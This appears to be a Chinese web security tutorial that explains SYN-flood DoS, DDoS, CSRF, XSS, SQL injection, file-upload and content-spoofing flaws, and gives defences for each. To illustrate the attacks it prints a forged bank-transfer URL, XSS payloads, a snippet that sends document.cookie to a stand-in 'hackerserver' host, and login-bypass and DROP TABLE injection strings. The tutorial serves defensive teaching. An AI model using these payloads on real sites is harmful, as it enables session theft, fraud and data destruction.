DoS和DDoS攻擊
DoS(Denial of Service),即拒絕服務,造成遠端伺服器拒絕服務的行為被稱為DoS攻擊。其目的是使計算機或網絡無法提供正常的服務。最常見的DoS攻擊有計算機網絡帶寬攻擊和連通性攻擊。 為了進一步認識DoS攻擊,下面舉個簡單的栗子來進行說明: 圖1 TCP三向交握:資料段互換 Client發送連接配接請求封包,Server接受連接配接後回複ACK封包,并為這次連接配接配置設定資源。Client接收到ACK封包後也向Server發送ACK封包,并配置設定資源,這樣TCP連接配接就建立了。前兩次握手,是為了保證服務端能收接受到用戶端的資訊并能做出正确的應答;後兩次握手,是為了保證用戶端能夠接收到服務端的資訊并能做出正确的應答。建立完TCP三向交握後,Client就可以和Web伺服器進行通信了。 在DoS攻擊中,攻擊者通過僞造ACK資料包,希望Server重傳某些資料包,Server根據TCP重轉機制,進行資料重傳。攻擊者利用TCP協定缺陷,通過發送大量的半連接配接請求,耗費CPU和記憶體資源。實作方式如下圖: 圖2 攻擊者僞造ACK資料包,發送大量的半連接配接請求 Web伺服器在未收到用戶端的确認包時,會重發請求包一直到連結逾時,才将此條目從未連接配接隊列删除。攻擊者再配合IP欺騙,SYN攻擊會達到很好的效果。通常攻擊者在短時間内僞造大量不存在的IP位址,向伺服器不斷地發送SYN包,伺服器回複确認包,并等待客戶的确認,由于源位址是不存在的,伺服器需要不斷的重發直至逾時,這些僞造的SYN包将長時間占用未連接配接隊列,正常的SYN 請求被丢棄,目标系統運作緩慢,嚴重者引起網絡堵塞甚至系統癱瘓。 SYN攻擊的問題就出在TCP連接配接的三次握手中,假設一個使用者向伺服器發送了SYN封包後突然當機或掉線,那麼伺服器在發出SYN+ACK應答封包後是無法收到用戶端的ACK封包的,進而導緻第三次握手無法完成。在這種情況下伺服器端一般會重試,即再次發送SYN+ACK給用戶端,并等待一段時間後丢棄這個未完成的連接配接。這段時間的長度我們稱為SYN Timeout,一般來說這個時間是分鐘的數量級,大約為30秒到2分鐘。一個使用者出現異常導緻伺服器的一個線程等待1分鐘并不是什麼很大的問題,但如果有一個惡意的攻擊者大量模拟這種情況,伺服器端将為了維護一個非常大的半連接配接清單而消耗非常多的資源,即數以萬計的半連接配接,将會對伺服器的CPU和記憶體造成極大的消耗。若伺服器的TCP/IP棧不夠強大,最後的結果往往是堆棧溢出崩潰。實際上,就算伺服器端的系統足夠強大,伺服器端也将忙于處理攻擊者僞造的TCP連接配接請求而無暇理睬客戶的正常請求,導緻使用者的正常請求失去響應。 對于該類問題,我們可以做如下防範: 第一種是縮短SYN Timeout時間,及時将逾時請求丢棄,釋放被占用CPU和記憶體資源。 第二種是限制同時打開的SYN半連接配接數目,關閉不必要的服務。 第三種方法是設定SYN Cookie,給每一個請求連接配接的IP位址配置設定一個Cookie。如果短時間内連續受到某個IP的重複SYN封包,就認定是受到了攻擊,以後從這個IP位址來的包會被一概丢棄。 一般來說,第三種方法在防範該類問題上表現更佳。同時可以在Web伺服器端采用分布式組網、負載均衡、提升系統容量等可靠性措施,增強總體服務能力。 DDoS(Distributed Denial of Service,分布式拒絕服務)是DoS攻擊的一種方法。攻擊指借助于客戶/伺服器技術,将多個計算機聯合起來作為攻擊平台,對一個或多個目标發動DDoS攻擊,進而成倍地提高拒絕服務攻擊的威力。阻止合法使用者對正常網絡資源的通路,進而達成攻擊者不可告人的目的。DDoS的攻擊政策側重于通過很多“僵屍主機”,向受害主機發送大量看似合法的網絡包,進而造成網絡阻塞或伺服器資源耗盡而導緻拒絕服務。 圖3 DDoS攻擊建立“僵屍主機”的過程從上圖可知,DDOS是利用一批受控制的僵屍主機向一台伺服器主機發起的攻擊,其攻擊的強度和造成的威脅要比DOS嚴重很多,更具破壞性。對于DDoS攻擊,我們可以做如下防範:(1) 反欺騙:對資料包的位址及端口的正确性進行驗證,同時進行反向探測。(2) 協定棧行為模式分析:每個資料包類型需要符合RFC規定,這就好像每個資料包都要有完整規範的着裝,隻要不符合規範,就自動識别并将其過濾掉。(3) 特定應用防護:非法流量總是有一些特定特征的,這就好比即便你混進了顧客群中,但你的行為還是會暴露出你的動機,比如老重複問店員同一個問題,老做同樣的動作,這樣你仍然還是會被發現的。(4) 帶寬控制:真實的通路資料過大時,可以限制其最大輸出的流量,以減少下遊網絡系統的壓力。
CSRF攻擊
CSRF(Cross Site Request Forgery),即跨站請求僞造,是一種常見的Web攻擊,但很多開發者對它很陌生。CSRF也是Web安全中最容易被忽略的一種攻擊。下面先介紹一下CSRF攻擊的原理。 圖4 CSRF攻擊過程的示例圖受害者使用者登入網站A,輸入個人資訊,在本地儲存伺服器生成的cookie。攻擊者建構一條惡意連結,例如對受害者在網站A的資訊及狀态進行操作,典型的例子就是轉賬。受害者打開了攻擊者建構的網頁B,浏覽器發出該惡意連接配接的請求,浏覽器發起會話的過程中發送本地儲存的cookie到網址A,A網站收到cookie,以為此連結是受害者發出的操作,導緻受害者的身份被盜用,完成攻擊者惡意的目的。舉個簡單的例子來說明下CSRF的危害。使用者登陸某銀行網站,以Get請求的方式完成到另一銀行的轉賬,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000。攻擊者可構造另一危險連結http://www.mybank.com/Transfer.php?toUserId=100&money=1000并把該連結通過一定方式發給受害者使用者。受害者使用者若在浏覽器打開此連結,會将之前登陸後的cookie資訊一起發送給銀行網站,伺服器在接收到該請求後,确認cookie資訊無誤,會完成改請求操作,造成攻擊行為完成。攻擊者可以構造CGI的每一個參數,僞造請求。這也是存在CSRF漏洞的最本質原因。對于CSRF攻擊,我們可以做如下防範:(1) 驗證碼。應用程式和使用者進行互動過程中,特别是賬戶交易這種核心步驟,強制使用者輸入驗證碼,才能完成最終請求。在通常情況下,驗證碼夠很好地遏制CSRF攻擊。但增加驗證碼降低了使用者的體驗,網站不能給所有的操作都加上驗證碼。是以隻能将驗證碼作為一種輔助手段,在關鍵業務點設定驗證碼。(2) Referer Check。HTTP Referer是header的一部分,當浏覽器向web伺服器發送請求時,一般會帶上Referer資訊告訴伺服器是從哪個頁面連結過來的,伺服器籍此可以獲得一些資訊用于處理。可以通過檢查請求的來源來防禦CSRF攻擊。正常請求的referer具有一定規律,如在送出表單的referer必定是在該頁面發起的請求。是以通過檢查http標頭referer的值是不是這個頁面,來判斷是不是CSRF攻擊。但在某些情況下如從https跳轉到http,浏覽器處于安全考慮,不會發送referer,伺服器就無法進行check了。若與該網站同域的其他網站有XSS漏洞,那麼攻擊者可以在其他網站注入惡意腳本,受害者進入了此類同域的網址,也會遭受攻擊。出于以上原因,無法完全依賴Referer Check作為防禦CSRF的主要手段。但是可以通過Referer Check來監控CSRF攻擊的發生。(3) Anti CSRF Token。目前比較完善的解決方案是加入Anti-CSRF-Token,即發送請求時在HTTP 請求中以參數的形式加入一個随機産生的token,并在伺服器建立一個攔截器來驗證這個token。伺服器讀取浏覽器目前域cookie中這個token值,會進行校驗該請求當中的token和cookie當中的token值是否都存在且相等,才認為這是合法的請求。否則認為這次請求是違法的,拒絕該次服務。這種方法相比Referer檢查要安全很多,token可以在使用者登陸後産生并放于session或cookie中,然後在每次請求時伺服器把token從session或cookie中拿出,與本次請求中的token 進行比對。由于token的存在,攻擊者無法再構造出一個完整的URL實施CSRF攻擊。但在處理多個頁面共存問題時,當某個頁面消耗掉token後,其他頁面的表單儲存的還是被消耗掉的那個token,其他頁面的表單送出時會出現token錯誤。
XSS攻擊
XSS(Cross Site Scripting),跨站腳本攻擊。為和層疊樣式表(Cascading Style Sheets,CSS)區分開,跨站腳本在安全領域叫做“XSS”。惡意攻擊者往Web頁面裡注入惡意Script代碼,當使用者浏覽這些網頁時,就會執行其中的惡意代碼,可對使用者進行盜取cookie資訊、會話劫持等各種攻擊。XSS是常見的Web攻擊技術之一,由于跨站腳本漏洞易于出現且利用成本低,是以被OWASP列為目前的頭号Web安全威脅。 圖5 XSS攻擊過程的示例圖 XSS跨站腳本攻擊本身對Web伺服器沒有直接的危害,它借助網站進行傳播,使網站上大量使用者受到攻擊。攻擊者一般通過留言、電子郵件或其他途徑向受害者發送一個精心構造的惡意URL,當受害者在Web中打開該URL的時候,惡意腳本會在受害者的計算機上悄悄執行。 根據XSS攻擊的效果,可以将XSS分為3類: (1) 反射型XSS(Non-persistent XSS),伺服器接受用戶端的請求包,不會存儲請求包的内容,隻是簡單的把使用者輸入的資料“反射”給浏覽器。例如:www.a.com?xss.php?name= <script>alert(document.cookie)</script>。通路這個連結則會彈出頁面的cookie内容,若攻擊者把alert改為一個精心構造的發送函數,就可以把使用者的cookie偷走。 (2) 存儲型XSS(Persistent XSS),這類XSS攻擊會把使用者輸入的資料“存儲”在伺服器端,具有很強的穩定性。注入腳本跟反射型XSS大同小異,隻是腳本不是通過浏覽器à伺服器à浏覽器這樣的反射方式,而是多發生在富文本編輯器、日志、留言、配置系統等資料庫儲存使用者輸入内容的業務場景。即使用者的注入腳本儲存到了資料庫裡,其他使用者進行通路涉及到包含惡意腳本的連結都會中招。由于這段惡意的腳本被上傳儲存到了伺服器,這種XSS攻擊就叫做“存儲型XSS”。例如: 伺服器端代碼:<?php $db.set(‘name’, $_GET[‘name’]);?> HTML頁面代碼:<?php echo ‘Hi,’ . $db.get[‘name’];?> 圖6 存儲型XSS攻擊過程的示例圖(3) DOM based XSS(Document Object Model XSS),這類XSS攻擊者将攻擊腳本注入到DOM 結構裡。出現該類攻擊的大多原因是含JavaScrip靜态HTML頁面存在XSS漏洞。例如下面是一段存在DOM類型跨站腳本漏洞的代碼:<script>document.write(window.location.search); </script>在JS中window.location.search是指URL中?之後的内容,document.write是将内容輸出到頁面。這時把連結換成http://localhost/test.php?default=<script>alert(document.cookie)</script>那使用者的cookie就被盜了。上面的例子隻是很簡單的一種,總結起來是使用了諸如document.write, innerHTML之類的渲染頁面方法需要注意參數内容是否是可信任的。XSS攻擊的危害,可以将XSS分為3類:(1) 竊取使用者資訊。黑客可以利用跨站腳本漏洞盜取使用者cookie而得到使用者在該站點的身份權限。如在DOM樹上新增圖檔,使用者點選後會将目前cookie發送到黑客伺服器:vari=document.createElement(“img”);document.body.appendChild(i);i.src = “http://www.hackerserver.com/?c=” + document.cookie;(2) 劫持浏覽器會話來執行惡意操作,如進行非法轉賬、強制發表日志或電子郵件等。(3) 強制彈廣告頁,刷流量和點選率。(4) 傳播跨站腳本蠕蟲。如著名的Samy (XSS)蠕蟲攻擊、新浪微網誌蠕蟲攻擊。對于XSS攻擊,我們可以做如下防範:(1) 輸入過濾。永遠不要相信使用者的輸入,對使用者輸入的資料做一定的過濾。如輸入的資料是否符合預期的格式,比如日期格式,Email格式,電話号碼格式等等。這樣可以初步對XSS漏洞進行防禦。上面的措施隻在web端做了限制,攻擊者通抓包工具如Fiddler還是可以繞過前端輸入的限制,修改請求注入攻擊腳本。是以,背景伺服器需要在接收到使用者輸入的資料後,對特殊危險字元進行過濾或者轉義處理,然後再存儲到資料庫中。(2) 輸出編碼。伺服器端輸出到浏覽器的資料,可以使用系統的安全函數來進行編碼或轉義來防範XSS攻擊。在PHP中,有htmlentities()和htmlspecialchars()兩個函數可以滿足安全要求。相應的JavaScript的編碼方式可以使用JavascriptEncode。(3) 安全編碼。開發需盡量避免Web用戶端文檔重寫、重定向或其他敏感操作,同時要避免使用用戶端資料,這些操作需盡量在伺服器端使用動态頁面來實作。(4) HttpOnly Cookie。預防XSS攻擊竊取使用者cookie最有效的防禦手段。Web應用程式在設定cookie時,将其屬性設為HttpOnly,就可以避免該網頁的cookie被用戶端惡意JavaScript竊取,保護使用者cookie資訊。(5)WAF(Web Application Firewall),Web應用防火牆,主要的功能是防範諸如網頁木馬、XSS以及CSRF等常見的Web漏洞攻擊。由第三方公司開發,在企業環境中深受歡迎。
SQL注入攻擊
SQL注入(SQL Injection),應用程式在向背景資料庫傳遞SQL(Structured Query Language,結構化查詢語言)時,攻擊者将SQL指令插入到Web表單送出或輸入域名或頁面請求的查詢字元串,最終達到欺騙伺服器執行惡意的SQL指令。 在了解SQL注入前,我們先認識下常用的Web的四層架構圖組成: 圖7 Web四層架構示例圖 SQL注入常見産生的原因有: (1) 轉義字元處理不當。特别是輸入驗證和單引号處理不當。使用者簡單的在url頁面輸入一個單引号,就能快速識别Web站點是否易收到SQL注入攻擊。 (2) 背景查詢語句處理不當。開發者完全信賴使用者的輸入,未對輸入的字段進行判斷和過濾處理,直接調用使用者輸入字段通路資料庫。 (3) SQL語句被拼接。攻擊者構造精心設計拼接過的SQL語句,來達到惡意的目的。如構造語句:select * from users where userid=123; DROP TABLE users;直接導緻user表被删除。 SQL注入常見的注入方式有: (1) 内聯SQL注入。向查詢注入一些SQL代碼後,原來的查詢仍然會全部執行。内聯SQL注入包含字元串内聯SQL注入和數字内聯SQL注入。注入方式如下圖: 圖8 内聯SQL注入示例圖 攻擊者将精心構造的字元串或數字輸入插入到SQL語句中,例如如下的使用者登陸頁面: 圖9 有SQL注入風險的使用者登陸示例圖 (a) 攻擊者可在username字段中注入 ‘ or ‘1’=’1′ or ‘1’=’1,password保持為空: SELECT * FROM login_tbl WHERE username = ‘ ‘ or ‘1’=’1′ or ‘1’=’1′ AND userpwd= ‘ ‘ 這樣SQL語句查詢語句恒為真,伺服器會傳回login_tbl表裡的全部賬戶名和密碼。 (b) 攻擊者可在password字段,輸入’ or ‘1’=’1: SELECT * FROM login_tbl WHERE username = ‘ ‘ AND userpwd= ‘ ‘ or ‘1’=’1 ‘ 這樣SQL語句查詢語句恒為真,伺服器會傳回login_tbl表裡的全部賬戶名和密碼。 (c) 攻擊者可在username字段中注入 admin’ and 1=1 or ‘1’=’1: SELECT * FROM login_tbl WHERE username = ‘admin’ and ‘1’=’1′ or ‘1’=’1′ AND userpwd= ‘ ‘ 這樣構造的SQL語句,伺服器會傳回admin使用者登陸。 常見的字元串内聯注入的特征值如下: 圖10 字元串内聯注入的特征值 常見的數字值内聯注入的特征值如下: 圖11 數字值内聯注入的特征值 (2) 終止式SQL注入。攻擊者在注入SQL代碼時,通過注釋剩下的查詢來成功結束該語句。注入方式如下圖: 圖12 終止式SQL注入示例圖 攻擊者将精心構造的字元串或數字輸入插入到SQL語句中,例如圖9的使用者登陸頁面: (a) 攻擊者可在username字段中注入 ‘ or 1=1; –,password保持為空: SELECT username, userpwd FROM login_tbl WHERE username=” or 1=1; — ‘ and userpwd=” 這樣SQL語句查詢語句恒為真,伺服器會傳回login_tbl表裡的全部賬戶名和密碼。 (b) 攻擊者可在username字段中注入 admin’ –,或者admin’ #,password保持為空: SELECT username, userpwd FROM login_tbl WHERE username=’admin’ –‘ and userpwd=” SELECT username, userpwd FROM login_tbl WHERE username=’admin’ #’ and userpwd=” 這樣構造的SQL語句,伺服器會傳回admin使用者登陸。 (c) 攻擊者可在username字段中注入 admin’ /*,password輸入*/’: SELECT username, userpwd FROM login_tbl WHERE username=’admin’ /*’ and userpwd=’*/” 這樣構造的SQL語句,伺服器會傳回admin使用者登陸。 常見的終止式SQL注入的特征值如下: 圖13 終止式SQL注入的特征值對于SQL注入攻擊,我們可以做如下防範:(1) 防止系統敏感資訊洩露。設定php.ini選項display_errors=off,防止php腳本出錯之後,在web頁面輸出敏感資訊錯誤,讓攻擊者有機可乘。(2) 資料轉義。設定php.ini選項magic_quotes_gpc=on,它會将送出的變量中所有的’(單引号),”(雙引号),\(反斜杠),空白字元等都在前面自動加上\。或者采用mysql_real_escape()函數或addslashes()函數進行輸入參數的轉義。(3) 增加黑名單或者白名單驗證。白名單驗證一般指,檢查使用者輸入是否是符合預期的類型、長度、數值範圍或者其他格式标準。黑名單驗證是指,若在使用者輸入中,包含明顯的惡意内容則拒絕該條使用者請求。在使用白名單驗證時,一般會配合黑名單驗證。
檔案上傳漏洞
上傳漏洞在DVBBS6.0時代被黑客們利用的最為猖獗,利用上傳漏洞可以直接得到WEBSHELL,危害等級超級高,現在的入侵中上傳漏洞也是常見的漏洞。該漏洞允許使用者上傳任意檔案可能會讓攻擊者注入危險内容或惡意代碼,并在伺服器上運作。 檔案上傳漏洞的原理:由于檔案上傳功能實作代碼沒有嚴格限制使用者上傳的檔案字尾以及檔案類型,導緻允許攻擊者向某個可通過 Web 通路的目錄上傳任意PHP檔案,并能夠将這些檔案傳遞給 PHP 解釋器,就可以在遠端伺服器上執行任意PHP腳本。 對于檔案上傳漏洞攻擊,我們可以做如下防範: (1)檢查伺服器是否判斷了上傳檔案類型及字尾。 (2) 定義上傳檔案類型白名單,即隻允許白名單裡面類型的檔案上傳。 (3) 檔案上傳目錄禁止執行腳本解析,避免攻擊者進行二次攻擊。 Info漏洞 Info漏洞就是CGI把輸入的參數原樣輸出到頁面,攻擊者通過修改輸入參數而達到欺騙使用者的目的。類似于如下的連結: 圖14 Info漏洞示例原始圖 我們将“神龜亂鬥”,改為“哈哈哈哈”,頁面上就得到了展現: 圖15 Info漏洞示例攻擊圖 Info漏洞存在的3個主要原因有: 1)CGI參數可以在頁面顯示。 2)傳回的頁面具有很強的欺騙性。 3)該頁面是對所有使用者是公開,可通路的。 Info漏洞的主要危害在于,若在通路量較大的公開頁面,如網購、微網誌或新聞網站,釋出反動的政治言論或其他色情詞彙等。一方面會影響使用者對網購業務的信心,同時也會給網站帶來一些政治風險。另外,若是釋出欺騙資訊,如中獎、彩票等,也會對一些使用者造成财産損失。 對于Info漏洞攻擊,将為常見的就是建立髒詞庫。 即對于曬單,評論,昵稱等可以被其他使用者通路到的地方,進行髒詞過濾。對使用者的輸入詞彙,與髒詞庫中的詞彙進行比對,過濾掉有與髒詞庫相同的詞彙。對于一些面向使用者自己的,而其他使用者不能看到的頁面。可以不對其做髒詞處理。 介紹就到這裡啦,我們一起來做個總結吧: Web安全是我們必須關注且無法逃避的話題,本文介紹了一些比較典型的安全問題和應對方案。例如對于SQL,XSS等注入式攻擊,我們一定要對使用者輸入的内容進行嚴格的過濾和審查,這樣可以避免絕大多數的注入式攻擊方式。對于DoS攻擊我們就需要使用各種工具和配置來減輕危害,另外容易被DDoS攻擊的還有HTTPS服務,我們要做好特定的應用防護和使用者行為模式分析。是以在日常的開發和測試過程中,我們要時常提醒自己,寫出的代碼有沒有可能被人攻擊?或者思考若我是一個攻擊者,我該怎麼做才可以達到我的攻擊效果呢?隻有這樣知己知彼後,方可百戰百勝!